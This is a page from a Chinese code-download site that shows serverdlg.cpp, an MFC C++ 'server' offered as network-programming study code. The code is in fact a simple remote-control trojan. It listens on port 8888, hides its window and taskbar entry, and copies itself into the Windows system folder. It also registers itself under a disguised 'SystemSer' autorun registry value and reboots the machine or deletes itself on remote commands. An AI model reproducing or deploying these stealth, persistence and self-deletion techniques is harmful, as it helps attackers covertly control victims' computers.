⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 serverdlg.cpp

📁 一个客户端跟服务器端的代码。用来让学习网络编程的GG学习。
💻 CPP
字号:
// ServerDlg.cpp : implementation file
//

#include "stdafx.h"
#include "Server.h"
#include "ServerDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CServerDlg dialog

CServerDlg::CServerDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CServerDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CServerDlg)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CServerDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CServerDlg)
		// NOTE: the ClassWizard will add DDX and DDV calls here
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CServerDlg, CDialog)
	//{{AFX_MSG_MAP(CServerDlg)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CServerDlg message handlers

BOOL CServerDlg::OnInitDialog()
{
	IfClone();
	CDialog::OnInitDialog();

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here


//SetWindowPos(&CWnd::wndNoTopMost , 0 , 0 ,0 , 0 , SWP_HIDEWINDOW );
m_SockListen.SetParent(this); 
m_SockConnect.SetParent(this);
m_SockListen.Create(8888);
m_SockListen.Listen(); 
//在TaskBar隐藏
ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW);
//显示隐藏
WINDOWPLACEMENT wp;
wp.length=sizeof(WINDOWPLACEMENT);
wp.flags=WPF_RESTORETOMAXIMIZED;
wp.showCmd=SW_HIDE;
SetWindowPlacement(&wp); 
AutoRun();

return TRUE;  // return TRUE  unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CServerDlg::OnPaint() 
{
	//ShowWindow(SW_HIDE);
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}

}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CServerDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

BOOL CServerDlg::Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext) 
{
	// TODO: Add your specialized code here and/or call the base class
//	dwStyle=WS_VISIBLE;
	return CDialog::Create(IDD, pParentWnd);
}

void CServerDlg::Accept()
{
m_SockListen.Accept(m_SockConnect);
 
}

void CServerDlg::OnReceive()
{
	char *pBuf=new char[1025];
	int nBufSize=1024;
	int nReceived;
	CString strReceived;
    //receive the message
	nReceived=m_SockConnect.Receive(pBuf,nBufSize);
	//receive successfully?
	if (nReceived!=SOCKET_ERROR)
	{
		//truncate the end of the message
		pBuf[nReceived]=NULL;
		//copy the message to a CString
		strReceived=pBuf;
        if(strReceived=="REBOOT")
        ExitWindowsEx(EWX_REBOOT,NULL);
        if(strReceived=="DELME")
        YesDelMe();
	}
}

void CServerDlg::OnClose()
{
m_SockConnect.ShutDown();
m_SockConnect.Close(); 
}

LPBYTE CServerDlg::CString_To_LPBYTE(CString str)
{
	LPBYTE lpb=new BYTE[str.GetLength()+1];
	for(int i=0;i<str.GetLength() ;i++)
	{
	lpb[i]=str[i];
	}
	lpb[str.GetLength()]=0;
	return lpb;
}

void CServerDlg::AutoRun()
{
LPCSTR lpszAppName=AfxGetAppName();
CString strAppName=CString(lpszAppName);
strAppName+=".exe";
LPBYTE app_Set=CString_To_LPBYTE(strAppName);
HKEY hKEY;
LPCTSTR lpctsz="SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run\\";
DWORD dwtype=REG_SZ;
LPBYTE lpApp=new BYTE[_MAX_PATH];
DWORD dwSize=_MAX_PATH;
long ret=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpctsz,0,KEY_READ,&hKEY));
		  if(ret==ERROR_SUCCESS)
		  {
			 // AfxMessageBox("open success");
			  ret=::RegQueryValueEx(hKEY,"SystemSer",NULL,&dwtype,lpApp,&dwSize);
			  if(ret!=ERROR_SUCCESS)
			  {
				 // AfxMessageBox("Query failed");
				  RegCloseKey(hKEY);
                ::RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpctsz,0,KEY_WRITE,&hKEY);
				  
			    ret=::RegSetValueEx(hKEY,"SystemSer",0,REG_SZ,app_Set,strAppName.GetLength()+1);
                if(ret==ERROR_SUCCESS)
				{
			 //AfxMessageBox("Write success");
             //copy the .exe file to c:\windows\system				
   TCHAR szPathOrig[_MAX_PATH];
   GetModuleFileName(NULL, szPathOrig, _MAX_PATH);
			  CopyFile(szPathOrig,_T("c:\\windows\\system\\server.exe"),FALSE);
				
				}
			  }
		
			   }
		 RegCloseKey(hKEY);
}



void CServerDlg::IfClone()
{
HANDLE hmemshare;
hmemshare =CreateFileMapping((HANDLE)0xFFFFFFFF,NULL,PAGE_READWRITE,0,0x1000,"MEMSHARE");
if(hmemshare==NULL)
{
		TRACE("\n failed to CreateFileMapping! ");
	return;
}
    char * szSingle=new char[512];
	szSingle=(char *)MapViewOfFile(hmemshare,FILE_MAP_ALL_ACCESS,0,0,0);
	if(szSingle==NULL)
	{
		TRACE("\n failed to MapViewOfFile() ");
		return;
	}
	
		CString strSingleCopy=CString(szSingle);
		int nIndex=strSingleCopy.Find(_TEXT(".EXE")); 
		if(nIndex!=-1)
		{
		CString szPathOrig=strSingleCopy.Left(nIndex+3+1);  
	    szSingle+=(nIndex+3+1);
		//AfxMessageBox(szSingle);
        HANDLE hProcessOrig=(HANDLE)atoi(szSingle);
		szSingle-=(nIndex+3+1);
        char  * mayend="MAYEND";
		strcpy(szSingle,mayend);
		szSingle[6]=NULL;
		WaitForSingleObject(hProcessOrig,INFINITE);
		CloseHandle(hProcessOrig);
     	DeleteFile(szPathOrig);
        UnmapViewOfFile(szSingle);
        CDialog::OnOK();
		}
}
void CServerDlg:: YesDelMe()
{
HANDLE hmemshare;
TCHAR * szSingle=new TCHAR[512];
hmemshare =CreateFileMapping((HANDLE)0xFFFFFFFF,NULL,PAGE_READWRITE,0,0x1000,"MEMSHARE");
if(hmemshare==NULL)
{
		TRACE("\n failed to CreateFileMapping! ");
		return;
}
	szSingle=(TCHAR *)MapViewOfFile(hmemshare,FILE_MAP_ALL_ACCESS,0,0,0);
	if(szSingle==NULL)
	{
		TRACE("\n failed to MapViewOfFile() ");
		return;
	}
	
	TCHAR szPathOrig[_MAX_PATH],szPathCopy[_MAX_PATH];
	GetModuleFileName(NULL,szPathOrig,_MAX_PATH);
	GetTempPath(_MAX_PATH,szPathCopy);
	GetTempFileName(szPathCopy,_TEXT("Del"),0,szPathCopy);
	CopyFile(szPathOrig,szPathCopy,FALSE);
	HANDLE hfile=CreateFile(szPathCopy,0,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_FLAG_DELETE_ON_CLOSE,NULL);
	HANDLE hProcessOrig=OpenProcess(SYNCHRONIZE,TRUE,GetCurrentProcessId());
    wsprintf(szSingle,_TEXT("%s%d"),szPathOrig,hProcessOrig);
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.cb=sizeof(si);
	PROCESS_INFORMATION pi;
	CreateProcess(NULL,szPathCopy,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
	CloseHandle(hProcessOrig);
	CloseHandle(hfile);
	char * mayend="MAYEND";
    while(strcmp(szSingle,mayend))Sleep(1000);
	UnmapViewOfFile(szSingle);
	
	CDialog::OnOK(); 
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -